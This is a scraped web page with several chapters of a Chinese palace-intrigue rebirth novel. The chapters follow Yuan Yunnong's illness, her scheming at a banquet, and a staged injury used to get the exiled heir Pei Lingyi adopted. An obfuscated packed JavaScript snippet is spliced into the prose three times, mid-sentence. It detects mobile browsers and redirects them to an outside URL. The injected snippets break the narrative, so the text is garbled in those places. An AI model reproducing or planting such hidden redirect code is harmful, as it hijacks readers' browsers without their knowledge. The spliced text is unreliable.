裴令仪站了起来,紧盯着元韫浓的脸,“是啊,他忤逆君上,胆大妄为,难道不该杀吗?” “裴清都,你怎么敢?”元韫浓眼眶泛红。 “沈川是为了谁来着?哦,是了,他是为了阿姊啊。”裴令仪不紧不慢地倒了一杯酒,“我本可以不杀他的,但是因为阿姊,他才会死。” “沈兄。”裴令仪以酒酹地,姿态轻慢。 他眼神却挑衅般地望向了元韫浓,“算你枉死。” 元韫浓头脑清醒了一些,拽住了裴令仪的衣领,“沈大哥是慕水妃的丈夫,你怎会杀他?要杀早杀了!” 裴令仪跟她四目相对,目光阴鸷,“元应怜,别忘了你现在是谁的皇后。” “是我乐意当这个皇后吗?”元韫浓嗤笑。 难道不是裴令仪逼着她,求着她当这个皇后的吗? “乐不乐意,现在也已经由不得阿姊了。”裴令仪拂开元韫浓抓着他衣领的手,“你说得对,我没杀他。” 元韫浓稍稍松了口气。 “我就该将他千刀万剐。”裴令仪一字一顿道。 “你敢?”元韫浓咬牙和他对峙。 裴令仪掐住元韫浓的后颈,问:“我怎么不敢?” 他切齿痛恨般,“从前是人为刀俎,我为鱼肉,如今我还不敢,也不能吗?” 他的拇指抵在元韫浓的下颌,缓慢且暧昧地摩挲着,“阿姊最近提拔了很多人,是因为他们都像沈川吗?” “你什么意思?”元韫浓顿时警惕。 “宠信奸佞小人,那必然不是阿姊的错。”裴令仪语调低柔,“那都是他们的问题,尤其是沈子谦,那条勾引阿姊的贱犬。” 元韫浓惊怒:“裴清都!” “不仅是沈子谦,你提上来的那些臣子护卫,宦官伶人,我一个一个杀过来!”裴令仪摁着元韫浓后颈的手愈发用力,“到时候我就把他们的脑袋悬在我们的床帐上,好叫阿姊看着这张脸与我欢好!” “啪”的一声。 元韫浓一巴掌扇了过去。 裴令仪被打偏了头。 这一巴掌元韫浓没留余力,裴令仪都尝到了唇角的血腥味,脸上火辣辣的疼。 裴令仪舔了舔唇角,抬眸看向元韫浓,居然笑了一声。 门外传来宦官小心翼翼的传报:“陛下,淑慎县主到了。” 裴令仪登基之后,改慕水妃公主为县主,封号不改。 元韫浓掌心发麻,头也不回地夺门而出。 “哎!娘娘!”宦官就看见元韫浓提着裙摆,带着怒气快步走了出来。 慕水妃在外面等候,看到元韫浓纯属意外之喜,“韫浓!” 元韫浓停下脚步,冷笑:“水妃姐姐,你倒不如替我好好劝劝他。” 语罢,她转身离开,将慕水妃的呼喊抛之身后。 宦官和慕水妃一转头,就看到裴令仪从殿内走了出来,目送元韫浓的背影。 他们一见裴令仪脸上鲜明的巴掌印,都被吓得一阵心惊胆战。 既为元韫浓掌掴陛下心惊肉跳,也为自己竟然知晓了此事忧惧。 反倒是元韫浓见裴令仪跟慕水妃谈完后确实没发难沈川,才放下了心。 诸如此类的事情在前世发生了很多回,她总跟裴令仪在来回拉扯。 “韫浓、韫浓……”低低的呼唤声在耳边。 元韫浓睁开了眼睛,看到了慕水妃惊喜的脸。 “醒了,醒了!快快,去叫太医来!”慕水妃忙转头跟沈川道。 沈川立刻走了出去。 元韫浓艰难地侧过脸,看到床脚的裴令仪。 慕水妃端了参汤过来让元韫浓润润嗓子,“先来喝点吧,你在梦里一直哭,可把我们吓坏了。” “我……我做了噩梦。”元韫浓嗓子还有些哑。 “阿姊现在可觉得还好?”裴令仪问。 元韫浓点了一下头,又看向慕水妃,叹了口气:“水妃姐姐。” “怎么了?”慕水妃殷切地看着她。 以往元韫浓对她没有那么热切过,她现在又母爱泛滥了。 “没什么。”元韫浓又别过了脸。 慕水妃一直都把她当成小孩子。 慕水妃一副我妹妹柔弱不能自理的模样,“看起来精神好多了,想来病也很快就会好。” 她又摸了摸元韫浓额头,“都不烫了,病温好了,风寒也会很快好的。” 说着她又有些惆怅,“姑母估计也很快会来接你回去了。” 太医来瞧过了说元韫浓烧已经退了,就是染了风寒还得仔细着不能再受凉。 于是慕湖舟受姑母之托,送元韫浓回元府的时候,马车上的炭火烧得很旺。 热得小满都没敢坐车,跑到外头骑马。 “多谢水妃姐姐这几日衣不解带照顾。”元韫浓虽还在病中,但心思却早就活络起来了。 回廊蜿蜒曲折,立墙漏窗还透风。 元韫浓苍白的小脸缩在宽厚的大氅里,气虚体弱,手脚冰凉。 慕湖舟看着,不自觉往旁边站了站,挡住了风。 她拢了拢氅衣,语声轻缓道:“清都在宫里活得很艰难,姐姐若是得了空,且替我多看顾他几分。” 慕水妃顿了顿,点头,“放心吧,你我姐妹之间不必如此客气。” “放心,淑慎,我必然将表妹安然无恙地送回岐国公府。”慕湖舟觉得有些好笑,“韫浓表妹,我们走吧。” 元韫浓颔首。 看着元韫浓被慕湖舟扶上车,慕水妃莫名有种送女儿远行的感觉。 目送马车行远,慕水妃站在宫门口叹气。 “你不该那么照顾她。”裴令仪如同幽魂般悄无声息地从晦暗处走了出来。 他站在阴影里,像是这片华丽深宫的一个影子。 慕水妃依然望着那个方向,“我作为姐姐,照顾她是应该的。” “姐姐?”裴令仪念了一遍这两个字,像是觉得有些好笑。 慕水妃算元韫浓哪门子的姐姐? 元韫浓自己还有两个亲姐姐呢,慕水妃顶多是个表姐。 他冷淡道:“你不该靠近她。” “我吗?”慕水妃终于转过头看向裴令仪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“表哥若是不嫌,以后也不妨叫我小字。”元韫浓道。 慕湖舟愣了愣,“表妹也叫我名字就好。” “这话若是让我父亲听了去,必然说我没大没小,乱了尊卑。”元韫浓笑道。 慕湖舟看着元韫浓,也跟着笑了笑,“礼尚往来罢了。” 跟慕湖舟说话很舒心,他博学多识,什么都能谈得来两句。 元韫浓跟他聊了很多。 “应怜这般年岁,却又有这样的见解,着实难得。”慕湖舟也有些惊讶。 元韫浓扬眉,“谁叫我成器呢?” 慕湖舟笑着摇了摇头。 他本以为元韫浓是那种恬淡温婉的性子,却不想是绵里藏针。 只是柔弱又聪慧,就更容易自伤。 “慧极必伤。”慕湖舟轻叹,“本就如此,此世间女子处境多艰,这般聪明会更容易受伤的。” 元韫浓看了看慕湖舟,有些感慨。 慕湖舟怕是皇子中唯一一个能够同情女子的了,皇后到底是怎么养出这样的儿子的? “清醒的痛,总好过浑噩的麻木。”元韫浓撩开车帘。 外头的冷风夹杂片点飞雪飘进来,映照得她肤光胜雪,云发丰韵。 “冷了痛了,才知道自己在哪里,又是谁。”她幽幽道。 慕湖舟莫名觉得,元韫浓像是要羽化成仙般,不似此间人。 元韫浓转头对他笑:“能如此和我坦然议政之人不多,表哥算一个。” 把元韫浓送到了岐国公府门口,自有元韫浓亲哥出来迎。 元彻回满腹疑惑地看着笑得春光灿烂的三皇子和自家妹妹,“聊什么呢?笑成这样。” “阿兄你不懂的。”元韫浓敷衍道。 元彻回:…… 因为元韫浓还在病中,惠贞长公主也没有多问什么,只是嗔怪她什么时候变得那么实心眼,也不知道装病,却是真病了。 这回元韫浓可没那么实心眼了。 惠贞长公主没说上两句,元韫浓就装头疼,躲清净回房去了。 第11章 熏香 春风解冻,浮冰化作绵绵春水不绝,新叶凝水露。 长廊漏窗,花影乱。 元韫浓病初愈,就快到生辰了。 霜降正为她添妆。 小满从后头推门进来。 还没禀报来人,就被元韫浓打断了:“让我猜猜,是阿兄对不对?” “怎么猜出来的?”元彻回迈入门槛。 “心有灵犀一点通。”元韫浓信口胡诌。 元彻回身躯挺拔,投映在窗纸上,轮廓分明,元韫浓一眼就能认出来。 元彻回没计较小妹的顽皮,笑着摇头,“今年生辰想怎么过?办在宫里,还是府里?” “若是办在府里,能请清河世子来吗?”元韫浓问。 元彻回一顿,表情有些严肃,“为何要请他来?应怜,别跟他离太近了。” 元韫浓眨了眨眼,明知故问:“为何?我瞧他实在可怜。” “他身份特殊,离他太近,恐怕惹来不必要的灾祸。”元彻回劝道。 他切金断玉般果决:“若是再因他惹出什么祸端,倒还不如直接一刀杀了了事。” 元彻回本就是武将,**脑袋跟砍瓜切菜一样。 那阵仗元韫浓都不想多说什么,也不知道自己哥哥这蛮劲学的谁。 家里关系跟裴令仪恶劣成这样,也得想法子缓和一下。 不然等到裴令仪当了皇帝,发落了父兄几个,她还怎么背靠大树? 单靠恩情,是最靠不住的。 而且照元彻回那么说,那她倒不如在宫里办宴呢,至少裴令仪能来。 但她最近确实不宜再搞什么大动作了,不然必然有人心中生疑。 暗自叹了口气,她说:“那便在府上吧。” 元彻回表情柔和下来,“你高兴便好,那便办得热闹些。” “可别了,阿兄。”元韫浓道,“听说近来朝中不少人风波呢,这时候还是低调些为好。” “近来不少言官上奏要清河世子袭爵,说他总待在宫中也不像样子,最好让他在外头当个闲散王爷,也好安抚前朝民心。”元彻回提起这事就叹气。 元韫浓早有预料:“只是陛下不允,是吗?” 元彻回颔首,“几十载过去,不乏有人还在说慕南是篡位弑君的乱臣贼子。陛下不愿意认,耿耿于怀,自然不允。” “清河王都**那么多年了,陛下还耿耿于怀呢。”元韫浓讽刺地弯了弯唇。 “应怜,这些话我们兄妹关起门来说一说也就罢了。到了外头,可千万别提起。”元彻回皱了皱眉。 元韫浓道:“放心吧,阿兄,我都省的。” “我们应怜也是愈发懂事了。”元彻回摸了摸元韫浓的鬓发,“这回生辰宴委屈了你,来年阿兄必定风风光光为你办一场。” 元韫浓故作体贴大方,垂着眼睛笑了笑,“何必大费周章?这也算不得委屈。” 这一下整得元彻回更心疼了。 元彻回一走,元韫浓就收回了表情。 “世子还是心疼郡主的。”小满说道。 元韫浓随手把簪子丢回妆匣里,“哪能不心疼啊?打断骨头连着筋呢。” “既然没大办,今年的生辰宴也不必多费心了,该请的都请上就行了。”她吩咐道。 霜降应声:“是。” 元韫浓的生辰跟江家老夫人的寿辰离得很近,前脚才过了生辰没多久,后脚就是人家老夫人寿辰了。 这回是人家六十大寿,所以办得很热闹。 江家是侯爵,朝中也掌实权,场面也是办足了的。 惠贞长公主的乐趣就是在这种场合打扮元韫浓。 新做的衣裳穿在身上,衬得容止纤丽,弱不胜绮罗。 “你还是太瘦了些。”惠贞长公主叹了口气,“如流水般的补品药食,怎么就没长点肉呢?” “等我一口吃成个胖子,阿娘可就满意了。”元韫浓说道。 惠贞长公主点了点元韫浓额头,“牙尖嘴利。” 她正色道:“咱们岐国公府平素里同江家往来不多,但人到底也是百年世家,当家人也是朝中官员。江老夫**寿,京城里凡是五品以上的官宦人家都在受邀之列。” 这种场面,往日里元韫浓是最喜欢的。 “达官显贵俱在,若是什么方面失了礼数,招惹旁人笑话,可得把你父亲脸面都丢尽了。”惠贞长公主说。 元韫浓托着腮笑:“母亲居然还会说这话呢。” “这是什么意思?”惠贞长公主瞥了她一眼。 “以母亲的性子,应当是说,他们是臣,你是君,只有失礼的臣子,哪有失礼的主人?”元韫浓模仿母亲的姿态。 “越大越不像样子,倒是会打趣你母亲了?”惠贞长公主嗔怪般道,“来日择夫婿,可怜谁肯上你这当?” 元韫浓道:“母亲可放心吧,就算我是个大字不识的无盐女,想要娶我都能从国公府门口排到靖州。” 惠贞长公主挑了一下眉,“可你不是看中了沈川吗?” “这都被阿娘发现了。”元韫浓笑嘻嘻道。 “就你那点小心思,我能不知道?”长公主笑,“人沈家清流门第,节俭当崇、邪物当禁这些都是写在家训里的,不然也养不出沈川那种人。” 元韫浓点头,“沈家门第清贵,家风严谨也是当的。” “应怜,沈川同你不是一类人。”惠贞长公主摇头,“你若是想嫁沈川,母亲是怕你吃不得约束的苦。” 这个元韫浓也知道。 毕竟前世真嫁成了,沈川同她算得上青梅竹马,沈家又是世交,再加之身份尊贵,对她多有忍让。 她奢靡成性,每一项习惯和爱好都在烧钱。 虽然沈川和其爹娘喜爱她,但其他人却并不待见她。 这么一说,元韫浓回想起前世自己跟沈川的相处。 无非是夫妻和乐,琴瑟和鸣。 换个人也是一样结局。 相对于荣华富贵与权势滔天,她对沈川的执念好像也没有那么深刻。 当然,能得到最好,她是二者都想要。 元韫浓道:“母亲放心,其中利弊,我都有数。” “你心里清楚,那是最好的。”惠贞长公主点头。 装扮好了,一行人便前往江家。 江家主母缠绵病榻多年,管家的是长媳。 江家少夫人笑意盈盈地迎上来行礼。 她身后的几人也都依次行礼:“见过惠贞长公主,见过朝荣郡主。” “不必多礼。”惠贞长公主淡声道。 是得见过江家老太太的,惠贞长公主又领着三个女儿去见了一面。 岐国公和元彻回则是去了前厅同江大人寒暄。 沈川到时,元韫浓正故作乖巧地坐在惠贞长公主身边,接受一众长辈的夸奖。 “江老太太慈安,长公主懿安,诸位妹妹妆安。”沈川得体地向人问好。 一众人又笑吟吟地夸赞沈川。 他朝元韫浓这头看过来,元韫浓对他笑了笑。 沈川回以一笑。 江老太太道:“年轻人就该多玩多笑多闹闹,别陪我这老人家一块待在这里了,都出去瞧瞧吧。” 江家准备的是流水席面,本就在外头。 主人家都那么说了,堂内众人也应声纷纷走了出去。 惠贞长公主见元韫浓频频看向沈川那里,便道:“心思都收不住了,去玩吧。” 沈川正在岐国公和元彻回那里,同江侯爷江大人交谈。 自从惠贞长公主那些话后,岐国公越看沈川,越像是半个女婿,时常带着他和元彻回一块。 元韫浓到父兄身边,跪坐在他们身边,替他们斟酒。 杏花酒斟满,沈川低头致意。 闻到元韫浓身上的零陵香,他有些诧异,“韫浓妹妹换了熏香?” 话一出口,他就意识到自己说话逾越了,哪有这样问未出阁的女儿有没有换熏香的? 于是他耳根发烫,就低下了头找补:“我平日对香料有研究。” “我时常换熏香。”元韫浓弯起唇角,“今日多热闹的宴席,自然换了热闹些的香。” 她新月笼眉,眸清可爱,笑起来时犹如画卷展开般,兰芬灵濯,玉莹尘清。 沈川轻咳一声:“是。” 倒到自己哥哥身边,元彻回扬眉,“何故殷勤献佳酿?难道是打算和阿兄酣畅醉一场吗?” “你妹妹的身子,还酣畅醉一场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15476435|169973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢?不像话。”岐国公瞪了儿子一眼。 他又和江大人接着聊下去:“那靖州近些年天灾人祸,如今更是颗粒无收,想来是州牧无能。” “靖州州牧,几次三番不听宣,恐怕……”江大人言尽于此。 在一旁听着的元韫浓挑眉,“咱们陛下没有遣人去赈灾吗?” 江大人没想到元韫浓会开口参与这个话题,愣了愣,“差倒是差了人去,只是都无功而返了。” “那看来是陛下没差对人,若是换作我去,保管叫靖州州牧吓得魂飞魄散。”元韫浓微笑。 江大人听得愣神,没想到以柔弱示人的元韫浓能说出这种话来。 沈川也愣了愣。 元彻回无可奈何道:“满嘴家国,简直怠慢。” “江大人勿见怪,我这小女儿自幼娇惯着长大,性子乖张,执意学些政略辩学。家妻爱女甚无状,我只得允她同她兄长一并去国子监。”岐国公叹气。 身后传来道声音:“表妹求学有志量,怎能说她性乖张?” 见了来人,众人起身问安:“三皇子安。” 慕湖舟摆了摆手,示意不必多礼。 他走来道:“姑父何必忧心应怜?待她学成归来后,元家门楣也添光。” 沈川也笑:“是啊,家母常跟族中姊妹提起,说要以韫浓为榜样。” 岐国公那番话,本就更多是谦虚而已,更多是炫耀自己女儿**早熟,与众不同。 听了慕湖舟这话,他反倒是笑:“如此,倒是我浅薄了。” “得亏了表哥和沈大哥替我说话,不然反倒叫父亲冤枉了我。”元韫浓故作气恼。 “好好好,是为父的不是。”岐国公无奈道。 正谈笑风生,又闻一阵窃窃私语:“他怎么来了?” “江家难道邀请了他吗?怕是连请帖都没有,也不知道看门的怎么把人放进来的。” “保不齐呢?没听说吗?言官们今日都上奏说要他袭爵,江大人也赞同此事。” 元韫浓闻声看过去,裴令仪出现在前边。 一身半新不旧的雪青色衣衫,一身寂寥。 元韫浓听到自己身边的兄长不轻不重地啧了一声,似乎是很不喜欢裴令仪。 电光火石间,元韫浓想到了一个法子,一个两全其美的法子。 她决定一会进宫觐见惠帝,先斩后奏。 “应怜。”见元韫浓要起身,元彻回喊了她一声。 元韫浓回头,看见兄长示意她不要跟裴令仪有接触的眼神。 于是元韫浓直接看向了慕湖舟,“湖舟表哥。” 慕湖舟明白她意思,顿了顿,站起身,“世子一人来,身边也无人伺候,看来是要主人家多费些心思了。” 江大人也连忙跟着站了起来,“这是自然。” “父皇忧心袭爵之事已久,本宫自然要替父皇解忧才是,总不能叫旁人说是慕南皇族慢待了裴雍一脉。”慕湖舟摇了摇头。 他看向元韫浓,“我与世子不相熟,劳烦应怜表妹随我一道吧。” 有了合理的借口,元韫浓施施然起身,无视自己哥哥的视线,跟着慕湖舟走了。 裴令仪见慕湖舟和元韫浓朝自己走来,礼数上没有怠慢。 他的目光在元韫浓身上停留了一刹。 元韫浓今日一身甜白色的浮光锦曲裾,腰间系着条朱红的绸带,显得腰肢盈盈一握,弱柳扶风。 容止纤美,不胜绮罗。 那条绸带还缠着个镂花卷草纹的银香球,里头放着的应该是熏香,零陵香浓烈的芬芳快要掩盖元韫浓身上所有的药苦气息。 站在风光霁月的慕湖舟身边,仿佛甚是相配。 “阿姊的病好些了吗?”裴令仪问。 “没有大碍,不必挂怀。”元韫浓笑容温婉。 慕湖舟在旁边,众目睽睽之下,元韫浓还是装得温柔可人的。 裴令仪眸光稍黯。 慕湖舟同裴令仪寒暄了两句,都是场面话。 两个人本就不甚熟悉,连话都没说过几句。 也就只是有人做得过分了,被慕湖舟看见,会出声制止。 再加上近来有元韫浓相托,慕湖舟会额外照顾裴令仪几分。 第12章 告御状 没说两句,旁边有人前来攀谈,慕湖舟就被分走了精力。 接收到慕湖舟略带歉意的眼神,元韫浓看向身边的裴令仪,“随我去踏春怎么样?” 没外人她就不装了。 “阿姊说笑了,京城之中,何来的郊外。”裴令仪道。 元韫浓道:“江府落坐这地段,原先那些达官显贵都是瞧不上的,嫌太远太偏。后来圣眷一浓,就有了别样风味。” 她朝着僻静处走,裴令仪就跟了上去。 “例如说,是京华为数不多能瞧见郊外山水色的府邸。”元韫浓指了指远方。 山泼黛,水挼蓝,翠相搀,美不胜收。 云雾飘忽不定,遥遥望去,恍然如仙境。 应许是天下隐士所想,此山中草庐一间,采菊东篱。 裴令仪却转头看着元韫浓,“阿姊想当个隐士吗?” “谁要当隐士?”元韫浓轻笑一声,“我巴不得权倾朝野,唯我独尊。” 裴令仪眸色渐深,“那阿姊是更喜欢沈川,还是慕湖舟?” 元韫浓瞥了他一眼,“问这个做什么?” “阿姊今天用了零陵香。”他说。 元韫浓发觉裴令仪离自己靠得很近,顿了顿,“熏香罢了,我常换。” “那今日用零陵香,是因为慕湖舟喜欢,还是因为沈川喜欢?”裴令仪问道。 元韫浓对裴令仪向来说真话:“……沈川。” 裴令仪垂着眼,“看来阿姊现在还是更喜欢沈川。” “我想到一个法子,清都。”元韫浓皱了一下眉,但她现在有正事。 远山似近似远,可偏偏元韫浓就近在眼前。 裴令仪默了默,“什么法子?” “让你袭爵的法子,让你从深宫里逃出来的法子。”元韫浓眼眸雪亮,盈盈一水间。 裴令仪盯着她的眼睛看。 看着她说:“只要你信我。” “我信你。”裴令仪说。 “要怎么演戏,不必阿姊教你吧?”元韫浓笑。 裴令仪微不可查地挑了一下眉,“演戏?” 元韫浓点头,在他耳畔低语一阵。 见裴令仪神色未变,元韫浓嬉笑:“那么相信我啊?” “嗯。”裴令仪点头。 元韫浓倒是有些惊奇了。 原本裴令仪是最多疑的人,连沈川那种只做纯臣的人他都怀疑。 元韫浓叹了口气:“委屈你了。” 裴令仪认真地看着元韫浓,“权宜之计,算不得委屈。” 只要能达成目的,这又算是什么? 他无所谓,即使是将此身碾碎。 “那阿姊主要针对吕家,是不喜欢他们吗?”裴令仪问道。 “你先前雪地罚跪那一事,惠帝没罚他,但也牵连了吕家。到了家里,自有宗族罚他。他不攒着劲害你就不错了,你还指望他不怀恨在心吗?”元韫浓道,“麻烦尽早解决掉。” 其实慕载物身后的张家也一样讨厌。 但元韫浓担心这回以张家为主,又和慕载物扯上关系,会惹惠帝猜忌。 还是先打狗吧。 至少叫狗先安分点。 “事情得闹得大些,才好告到御前,叫我先斩后奏。”元韫浓道。 惠贞长公主正于桌前听着几个命妇对她阿谀奉承,浅笑安然,未曾动容。 早过了元韫浓那个年纪,也不是元韫浓那般性子,司空见惯罢了。 听着不远处一阵喧嚷,她挑眉,“怎么了?” 她身边的女侍前去打探,又见女侍脸色难看地回来。 女侍禀报:“殿下,不知怎么的,好像是清河王世子和吕家大郎君掉进了池塘里,郡主跟吕家的吵了两句,便带着世子进宫去了。” “进宫?”惠贞长公主皱眉。 裴氏和吕氏的事情,关元韫浓什么事?为什么要进宫? 惠贞长公主问:“那吕家那个呢?由着应怜带清河世子进宫?” “是要追的,他像是气急,追着冲撞了不少人,跟清河世子二人推倒了不少人。拉扯中推倒了郡主,却被三皇子拦下了。”女侍面露忧色,“郡主像是伤到了。” “什么?”长公主脸色一变。 在座众人面色剧变,都看向了国公府的那几个。 元蕴英唰的站了起来,面上一阵霜色,“谁给吕世勋的胆子,连我元家的人都敢动?” 元韫浓已经领着裴令仪进了宫。 通报之后,她便哭着冲到了惠帝身前,“阿舅!” 知道惠帝天见怪地喜欢看她事事柔弱不能自理,这会元韫浓也装得这副模样。 看到元韫浓进殿,惠帝原本还有些诧异:“朝荣?不是跟着你母亲一块在江家赴宴吗?怎么……” 见元韫浓泪流满面,惠帝脸色稍变,屏退宫人,“朝荣,近前来,是谁欺负了你?” 元韫浓跪在惠帝跟前,小声饮泣:“朝荣、朝荣……” 她哭得说不出话的模样。 惠帝怒视随行的霜降和小满,“你们就是这么看顾朝荣郡主的吗?一个长公主挑的,一个世子挑的,还是武婢,居然都能让郡主被人欺负了去,都是干什么吃的!” 二人下拜,“陛下恕罪。” 见一个两个都说不出什么东西,惠帝更是恼火,挥手砸了镇纸。 “阿舅息怒,朝荣无碍的……”元韫浓柔弱抹泪。 一抬手,手上都是血。 方才元韫浓来得及,惠帝没看清楚,再加上元韫浓系了条朱红绸带,便把袖口那一片红看做了衣裳的花样。 现在定睛一看,元韫浓半截袖子上全是血。 惠帝目光一寒,扬声道:“去把清河世子也叫进来。” 宦官应诺,连忙出去叫等候在殿外的裴令仪。 裴令仪进了内殿,向惠帝行礼。 惠帝见裴令仪听召,冷声道:“速速道明来龙去脉,是什么人冲撞了朝荣。” 裴令仪看向元韫浓,眉心紧蹙。 元韫浓只跟他说了个大概,并没有详细计划。 裴令仪以元韫浓名义把吕世勋引至僻静处,郡主召见,礼数上吕世勋莫敢不从。 将吕世勋从回廊上推了下去,裴令仪自己也跳了下去。 春日里的池水依然寒冷,一下水就冻得肌肉紧绷,瑟瑟发抖。 吕世勋就算是心存警惕,也没想到裴令仪敢直接推他下水,还摁着他的头在水里不让起来。 那狠劲,他疑心裴令仪是真想杀了他,窒息感和濒死感逼他拼命挣扎,但也没挣脱。 吃了好几口水,裴令仪不知道为什么总算是松了手。 手脚并用爬上岸,又被裴令仪的嘲弄惹火了,到底是怒火战胜了惧意。 裴令仪刚刚既然在要紧关头松了手,就说明裴令仪根本不敢杀他,那他又有什么好怕的。 旁边冷眼旁观的元韫浓“恰到好处”地讽刺了两句,成功把怒火拉到了另一个阶段。 不敢对元韫浓做什么,还不敢找裴令仪算账吗? 二人你追我赶,故技重施,裴令仪专挑人群密集处跑,还刻意推倒了好几人。 吕世勋为了追他也是如此。 有些事情就算得吃苦头,但闹大了谁都讨不着好。 元韫浓看着火候差不多了上去阻拦,拉扯间故意摔在了石块上,划破了掌心。 然后她当机立断就是哭着带上裴令仪,进宫找惠帝。 甚至在马车上,犹嫌不够,元韫浓还拿簪子划开伤口,让血流得更多些。 苦肉计总得看着吓人些,才够真。 早知道元韫浓以身入局,要到自伤的地步,就不该答应这个法子。裴令仪闭了闭眼。 他道:“陛下可否先叫来太医,为郡主看看?” “大胆!朕问的是何人冲撞郡主!”惠帝勃然大怒。 元韫浓忙期期艾艾问:“阿舅,朝荣流了那么多血,会不会死?” 一贯养在深闺,万事不知的天真模样。 “不会有事的。”惠帝安慰了一句,对宦官道,“愣着做什么?看郡主伤成这样,还不知去喊太医来?” 宦官仓皇走了出去。 元韫浓垂眸掩去眼底的嫌恶与疑虑。 惠帝只关心想看到的,果然往日对她的纵容都是假意。 不然又怎会只关心谁下了她脸面,而不是伤势。 就算是裴令仪请惠帝先喊太医,惠帝的第一反应也是恼怒裴令仪不够驯服,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“阿舅,我见清河世子着实可怜,可否叫父亲收他为义子,住在国公府,这般也不至于受了欺负。”元韫浓小心翼翼地扯了一下惠帝的袖子。 “胡闹,这怎么可能……”惠帝皱眉,说到一半又停下了。 住在国公府,那就说明就算叫裴令仪袭爵也无伤大雅。 裴令仪既回不了清河王府,也接受不了裴氏部曲,还待在岐国公一家人的眼皮子底下,掀不起风浪。 而且还可以赚取美名,那些人不至于再追着他让他允许裴令仪袭爵,底下人也不会再说他亏待了裴雍后人。 如果名义上是惠贞的义子,那就是宗亲。但若是岐国公的义子,可就不一样了。 岐国公府本就特殊,三个原配之子,还有一个是长公主之子,只有一个宗亲。 岐国公义子这个身份,既不占宗亲身份,又看着仿佛和皇族沾亲带故,更显皇恩浩荡。 光从伦理纲常,忠孝节义上,一下子让慕南篡位亏欠裴雍的情况逆转,显得合理起来了。 这么一想,百利无一害啊。 惠帝思及此处,咳了一声:“朝荣心善,罢了,朕便依了你,一会拟旨吧。” “多谢阿舅。”元韫浓仿佛满眼崇敬和感激。 惠帝十分受用。 反倒是一旁的太医不敢贸然开口,额角渗出冷汗,为自己竟听了此等辛秘而心惊肉跳。 只得闷头一声不吭地替元韫浓处理伤势。 “朝荣这伤怎么样?”惠帝才想起来问道。 太医正要开口,宦官走了进来。 宦官谨慎地观察了如今的场面,禀报:“陛下,三皇子,岐国公府和惠贞长公主,还有吕大人与其子在外求见。” “通通叫进来。”惠帝道。 隔着屏风,元韫浓依稀看到几道身影。 她想以沈川性子,怕是又想着不顾后果也过来。 但是他身份不合,说话又不计后果,定会被父兄拦下。 毕竟前世他没少因为性子刚直而被同僚排挤暗算。 第13章 义子 “清河世子怎么跪在外头呢?”岐国公问了一句。 惠贞长公主没管,直接越过屏风。 “应怜!”惠贞长公主一眼瞥到元韫浓身上的血,两眼一黑,险些吓昏过去。 歧国公急忙搀扶住她,“公主!” 元韫浓眼尖地瞟到惠帝也动了一下,似乎是要上前去扶惠贞长公主。 “阿娘,我没事,我只是划了道小口子。”元韫浓忙道。 元彻回早先一步冲上前,握着元韫浓的手腕查看伤势。 他是见过真刀**的,对这种伤口也能看个大概。 见确实是小伤,元彻回稍稍松了口气,面如冰霜地看向吕世勋。 太医擦掉元韫浓手臂上的血,铜盆里全是血水,看着怪吓人的。 慕湖舟目露忧色,看着太医给元韫浓涂药,“这草药还能换些更好的吗?若是缺了什么,本宫派人去寻。” 太医忙道:“郡主受伤,臣等不敢怠慢,用的药材也是最好的。” 元蕴英冷嘲热讽:“吕郎君不愧是五皇子好友,这性子简直就是一模一样,都爱追着人世子喊打喊杀。” “你!”吕世勋脸色难看。 “我难道有说错什么吗?人五皇子关键时候还知道收着,吕郎君瞧着这胆量是大过五皇子了,连郡主都动手。”元蕴英冷笑。 惠帝面色不善。 他还没说什么,元蕴英就先开口了。 还妄议皇子,这难道是对他之前的处置有所不满吗? 元云和语调平和:“蕴英,什么地方?陛下还没说什么,没规没矩的。” 元蕴英冷哼一声,先向惠帝请罪:“陛下恕罪。” 惠帝摆了摆手。 惠贞长公主已经小心托着元韫浓的手臂看起来,满目心疼,“疼不疼?” “可疼了,阿娘。”元韫浓撒娇。 “疼还敢逞英雄!”惠贞长公主气道。 岐国公问太医:“应怜伤势如何?” 总算有人问了关键性问题,太医松了口气,他是半点不想待在这是非之地。 于是他急忙道:“郡主这是被尖锐之物所伤,没及时诊治,才流了太多血。索性伤口不深,只要细心疗养,并无大碍。” 元云和问:“会留疤吗?” 太医为难:“仔细着伤口,再涂抹药膏,虽不至于疤痕太深,但这疤……” “那就是会留疤了。”元蕴英眉头紧锁,恶狠狠地瞪向吕世勋。 吕世勋怒道:“害郡主受伤是我之失,可这过错之源难道不是清河世子吗?” “你还敢狡辩?分明就是你对千秋宴之事怀恨在心,要坑害人家,现在还敢反咬一口?你是不是对朕的决策有意见?!”惠帝勃然大怒。 “陛下明鉴!臣绝无此心!”吕世勋慌忙跪地,冷汗津津。 他恨恨地看向元韫浓。 元韫浓先进宫把好话坏话全说了,抢占了先机。 要不是因为慕湖舟拦他,他至于如今那么被动吗? 若是叫慕湖舟来日继承大业,还有他、他们吕家什么位置? 吕大人到底是为官多年,老谋深算,比自己儿子老成多了。 